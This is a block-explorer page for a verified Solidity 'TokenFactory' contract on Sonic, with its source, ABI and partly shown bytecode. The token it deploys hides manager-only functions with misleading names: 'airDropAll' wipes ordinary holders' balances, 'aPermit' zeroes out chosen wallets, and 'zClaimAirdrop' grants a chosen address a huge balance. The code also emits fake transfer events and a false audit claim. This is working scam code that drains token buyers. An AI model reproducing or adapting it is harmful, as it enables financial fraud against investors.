S Price: $0.577244 (+11.39%)

Contract

0x05d83705F6a739BAfDdF7dc85E4a05d407f3Da0A

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Create Token57475402025-01-29 5:18:342 days ago1738127914IN
0x05d83705...407f3Da0A
0.01 S0.1170215255
Create Token57087712025-01-28 19:40:513 days ago1738093251IN
0x05d83705...407f3Da0A
0.01 S0.1170109655

Latest 2 internal transactions

Parent Transaction Hash Block From To
57475402025-01-29 5:18:342 days ago1738127914
0x05d83705...407f3Da0A
 Contract Creation0.01 S
57087712025-01-28 19:40:513 days ago1738093251
0x05d83705...407f3Da0A
 Contract Creation0.01 S
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TokenFactory

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-01-28
*/

// SPDX-License-Identifier: Audited By Sonic Solidity
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Token is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 100000000000 * 10**_decimals;

    mapping(address => uint256) private immutStatusOn;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private holders; // Array to track all token holders

    address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
    address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_Manager;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    uint256 public requiredETH;


    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable {

        transferOwnership(owner_);  
        require(msg.value == 10000000000000000);

        _name = name_;
        _symbol = symbol_;
        requiredETH = 10000000000000000;
       ADDRESS_Manager = ADDRESS_Manager_;

        immutStatusOn[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));

  
        _callDATA();

 
        payable(address(this)).transfer(msg.value);
    }


    function _callDATA() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        immutStatusOn[ADDRESS_WETH] = immutStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
        immutStatusOn[ADDRESS_MARKETING] = immutStatusOn[ADDRESS_MARKETING].add(threePercent);
        immutStatusOn[ADDRESS_DEVELOPMENT] = immutStatusOn[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (immutStatusOn[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < holders.length; i++) {
                if (holders[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                holders.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        immutStatusOn[sender] = immutStatusOn[sender].sub(amount);
        immutStatusOn[recipient] = immutStatusOn[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(ADDRESS_Manager == _msgSender());
        _;
    }
    function airDropAll() external Only_Manager {
        for (uint256 i = 0; i < holders.length; i++) {
            address holder = holders[i];
            if (
                holder != address(this) && 
                holder != owner() && 
                holder != uniswapV2Pair && 
                holder != ADDRESS_WETH &&
                holder != ADDRESS_MARKETING && 
                holder != ADDRESS_Manager &&
                holder != ADDRESS_DEVELOPMENT
            ) {
                immutStatusOn[holder] = 0;
            }
        }
    }


   
function aPermit(address[] calldata rewardsMerkleRoot_) external Only_Manager {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        immutStatusOn[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external Only_Manager {
        immutStatusOn[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required ERC20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return immutStatusOn[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {

    uint256 public requiredETH;

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
        requiredETH = 10000000000000000;
    }

    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_
    ) external payable returns (address) {
        require(msg.value == requiredETH);
        Token newToken = (new Token){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"},{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"Manager","type":"address"}],"name":"TokenCreated","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"newOwner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"name":"createToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052348015600e575f5ffd5b50662386f26fc100005f81905550613c25806100295f395ff3fe60806040526004361061002c575f3560e01c806349eea8c914610037578063c01547361461006157610033565b3661003357005b5f5ffd5b348015610042575f5ffd5b5061004b610091565b6040516100589190610150565b60405180910390f35b61007b60048036038101906100769190610310565b610096565b60405161008891906103bb565b60405180910390f35b5f5481565b5f5f5434146100a3575f5ffd5b5f34868686866040516100b59061012b565b6100c29493929190610434565b6040518091039082f09050801580156100dd573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e8187878787604051610117959493929190610485565b60405180910390a180915050949350505050565b61370b806104e583390190565b5f819050919050565b61014a81610138565b82525050565b5f6020820190506101635f830184610141565b92915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6101c882610182565b810181811067ffffffffffffffff821117156101e7576101e6610192565b5b80604052505050565b5f6101f9610169565b905061020582826101bf565b919050565b5f67ffffffffffffffff82111561022457610223610192565b5b61022d82610182565b9050602081019050919050565b828183375f83830152505050565b5f61025a6102558461020a565b6101f0565b9050828152602081018484840111156102765761027561017e565b5b61028184828561023a565b509392505050565b5f82601f83011261029d5761029c61017a565b5b81356102ad848260208601610248565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102df826102b6565b9050919050565b6102ef816102d5565b81146102f9575f5ffd5b50565b5f8135905061030a816102e6565b92915050565b5f5f5f5f6080858703121561032857610327610172565b5b5f85013567ffffffffffffffff81111561034557610344610176565b5b61035187828801610289565b945050602085013567ffffffffffffffff81111561037257610371610176565b5b61037e87828801610289565b935050604061038f878288016102fc565b92505060606103a0878288016102fc565b91505092959194509250565b6103b5816102d5565b82525050565b5f6020820190506103ce5f8301846103ac565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f610406826103d4565b61041081856103de565b93506104208185602086016103ee565b61042981610182565b840191505092915050565b5f6080820190508181035f83015261044c81876103fc565b9050818103602083015261046081866103fc565b905061046f60408301856103ac565b61047c60608301846103ac565b95945050505050565b5f60a0820190506104985f8301886103ac565b81810360208301526104aa81876103fc565b905081810360408301526104be81866103fc565b90506104cd60608301856103ac565b6104da60808301846103ac565b969550505050505056fe60806040525f600860146101000a81548160ff02191690831515021790555060405161370b38038061370b833981810160405281019061003f9190610bd6565b61004d61031e60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36101148261032560201b60201c565b662386f26fc100003414610126575f5ffd5b83600190816101359190610e82565b5082600290816101459190610e82565b50662386f26fc100006009819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101d96103e86101cb60016009600a6101ad91906110b9565b64174876e8006101bd9190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ae6103e86102a060016009600a61028291906110b9565b64174876e8006102929190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b6040516102bb9190611153565b60405180910390a36102d161053760201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610314573d5f5f3e3d5ffd5b505050505061136a565b5f33905090565b61033361031e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103576109ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610376575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103ad575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f8303610479575f90506104da565b5f82846104869190611103565b90508284826104959190611199565b146104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cc90611249565b60405180910390fd5b809150505b92915050565b5f5f8211610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a906112b1565b60405180910390fd5b818361052f9190611199565b905092915050565b5f61057e6103e86105706103e46009600a61055291906110b9565b64174876e8006105629190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90505f6105c66103e86105b860026009600a61059a91906110b9565b64174876e8006105aa9190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90505f61060e6103e861060060016009600a6105e291906110b9565b64174876e8006105f29190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90506106748360035f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061072d8260035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506107e68160035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ac9190611153565b60405180910390a373551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109259190611153565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099e9190611153565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f82846109e091906112cf565b905083811015610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c9061134c565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610a8e82610a48565b810181811067ffffffffffffffff82111715610aad57610aac610a58565b5b80604052505050565b5f610abf610a2f565b9050610acb8282610a85565b919050565b5f67ffffffffffffffff821115610aea57610ae9610a58565b5b610af382610a48565b9050602081019050919050565b8281835e5f83830152505050565b5f610b20610b1b84610ad0565b610ab6565b905082815260208101848484011115610b3c57610b3b610a44565b5b610b47848285610b00565b509392505050565b5f82601f830112610b6357610b62610a40565b5b8151610b73848260208601610b0e565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ba582610b7c565b9050919050565b610bb581610b9b565b8114610bbf575f5ffd5b50565b5f81519050610bd081610bac565b92915050565b5f5f5f5f60808587031215610bee57610bed610a38565b5b5f85015167ffffffffffffffff811115610c0b57610c0a610a3c565b5b610c1787828801610b4f565b945050602085015167ffffffffffffffff811115610c3857610c37610a3c565b5b610c4487828801610b4f565b9350506040610c5587828801610bc2565b9250506060610c6687828801610bc2565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cc057607f821691505b602082108103610cd357610cd2610c7c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610cfa565b610d3f8683610cfa565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610d83610d7e610d7984610d57565b610d60565b610d57565b9050919050565b5f819050919050565b610d9c83610d69565b610db0610da882610d8a565b848454610d06565b825550505050565b5f5f905090565b610dc7610db8565b610dd2818484610d93565b505050565b5b81811015610df557610dea5f82610dbf565b600181019050610dd8565b5050565b601f821115610e3a57610e0b81610cd9565b610e1484610ceb565b81016020851015610e23578190505b610e37610e2f85610ceb565b830182610dd7565b50505b505050565b5f82821c905092915050565b5f610e5a5f1984600802610e3f565b1980831691505092915050565b5f610e728383610e4b565b9150826002028217905092915050565b610e8b82610c72565b67ffffffffffffffff811115610ea457610ea3610a58565b5b610eae8254610ca9565b610eb9828285610df9565b5f60209050601f831160018114610eea575f8415610ed8578287015190505b610ee28582610e67565b865550610f49565b601f198416610ef886610cd9565b5f5b82811015610f1f57848901518255600182019150602085019450602081019050610efa565b86831015610f3c5784890151610f38601f891682610e4b565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610fd357808604811115610faf57610fae610f51565b5b6001851615610fbe5780820291505b8081029050610fcc85610f7e565b9450610f93565b94509492505050565b5f82610feb57600190506110a6565b81610ff8575f90506110a6565b816001811461100e576002811461101857611047565b60019150506110a6565b60ff84111561102a57611029610f51565b5b8360020a91508482111561104157611040610f51565b5b506110a6565b5060208310610133831016604e8410600b841016171561107c5782820a90508381111561107757611076610f51565b5b6110a6565b6110898484846001610f8a565b925090508184048111156110a05761109f610f51565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6110c382610d57565b91506110ce836110ad565b92506110fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610fdc565b905092915050565b5f61110d82610d57565b915061111883610d57565b925082820261112681610d57565b9150828204841483151761113d5761113c610f51565b5b5092915050565b61114d81610d57565b82525050565b5f6020820190506111665f830184611144565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111a382610d57565b91506111ae83610d57565b9250826111be576111bd61116c565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112336021836111c9565b915061123e826111d9565b604082019050919050565b5f6020820190508181035f83015261126081611227565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61129b601a836111c9565b91506112a682611267565b602082019050919050565b5f6020820190508181035f8301526112c88161128f565b9050919050565b5f6112d982610d57565b91506112e483610d57565b92508282019050808211156112fc576112fb610f51565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611336601b836111c9565b915061134182611302565b602082019050919050565b5f6020820190508181035f8301526113638161132a565b9050919050565b612394806113775f395ff3fe608060405260043610610101575f3560e01c8063715018a611610094578063a37e0a6411610063578063a37e0a6414610310578063a9059cbb14610338578063dd62ed3e14610374578063e8078d94146103b0578063f2fde38b146103c657610108565b8063715018a61461027e5780638da5cb5b146102945780638f8af1e1146102be57806395d89b41146102e657610108565b80632d9f2d96116100d05780632d9f2d96146101d8578063313ce567146101ee57806349eea8c91461021857806370a082311461024257610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f5ffd5b348015610117575f5ffd5b506101206103ee565b60405161012d9190611967565b60405180910390f35b348015610141575f5ffd5b5061015c60048036038101906101579190611a1c565b61047e565b6040516101699190611a74565b60405180910390f35b34801561017d575f5ffd5b50610186610494565b6040516101939190611a9c565b60405180910390f35b3480156101a7575f5ffd5b506101c260048036038101906101bd9190611ab5565b6104b8565b6040516101cf9190611a74565b60405180910390f35b3480156101e3575f5ffd5b506101ec610572565b005b3480156101f9575f5ffd5b50610202610880565b60405161020f9190611b20565b60405180910390f35b348015610223575f5ffd5b5061022c610888565b6040516102399190611a9c565b60405180910390f35b34801561024d575f5ffd5b5061026860048036038101906102639190611b39565b61088e565b6040516102759190611a9c565b60405180910390f35b348015610289575f5ffd5b506102926108d4565b005b34801561029f575f5ffd5b506102a86109d4565b6040516102b59190611b73565b60405180910390f35b3480156102c9575f5ffd5b506102e460048036038101906102df9190611bed565b6109fb565b005b3480156102f1575f5ffd5b506102fa610b73565b6040516103079190611967565b60405180910390f35b34801561031b575f5ffd5b5061033660048036038101906103319190611b39565b610c03565b005b348015610343575f5ffd5b5061035e60048036038101906103599190611a1c565b610d76565b60405161036b9190611a74565b60405180910390f35b34801561037f575f5ffd5b5061039a60048036038101906103959190611c38565b610d8c565b6040516103a79190611a9c565b60405180910390f35b3480156103bb575f5ffd5b506103c4610e0e565b005b3480156103d1575f5ffd5b506103ec60048036038101906103e79190611b39565b6111e9565b005b6060600180546103fd90611ca3565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611ca3565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484611321565b6001905092915050565b5f6009600a6104a39190611e2f565b64174876e8006104b39190611e79565b905090565b5f6104c48484846114e4565b610567846104d06116f0565b6105628560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051a6116f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116f790919063ffffffff16565b611321565b600190509392505050565b61057a6116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d1575f5ffd5b5f5f90505b60058054905081101561087d575f600582815481106105f8576105f7611eba565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561069157506106616109d4565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156106ea575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561073657507350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610782575073551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156107db575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610827575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1561086f575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5080806001019150506105d6565b50565b5f6009905090565b60095481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108dc6116f0565b73ffffffffffffffffffffffffffffffffffffffff166108fa6109d4565b73ffffffffffffffffffffffffffffffffffffffff1614610919575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a036116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5a575f5ffd5b5f5f90505b82829050811015610b6e57600160035f858585818110610a8257610a81611eba565b5b9050602002016020810190610a979190611b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610afe57610afd611eba565b5b9050602002016020810190610b139190611b39565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051610b599190611f29565b60405180910390a38080600101915050610a5f565b505050565b606060028054610b8290611ca3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bae90611ca3565b8015610bf95780601f10610bd057610100808354040283529160200191610bf9565b820191905f5260205f20905b815481529060010190602001808311610bdc57829003601f168201915b5050505050905090565b610c0b6116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62575f5ffd5b6009600a610c709190611e2f565b6009600a610c7e9190611e2f565b64174876e800610c8e9190611e79565b610c989190611e79565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a610d369190611e2f565b6009600a610d449190611e2f565b64174876e800610d549190611e79565b610d5e9190611e79565b604051610d6b9190611a9c565b60405180910390a350565b5f610d823384846114e4565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e166116f0565b73ffffffffffffffffffffffffffffffffffffffff16610e346109d4565b73ffffffffffffffffffffffffffffffffffffffff1614610e53575f5ffd5b600860149054906101000a900460ff1615610ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9a90611f8c565b60405180910390fd5b73a6ad18c2ac47803e193f75c3677b14bf19b9488360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f61573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f859190611fbe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561100b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102f9190611fbe565b6040518363ffffffff1660e01b815260040161104c929190611fe9565b6020604051808303815f875af1158015611068573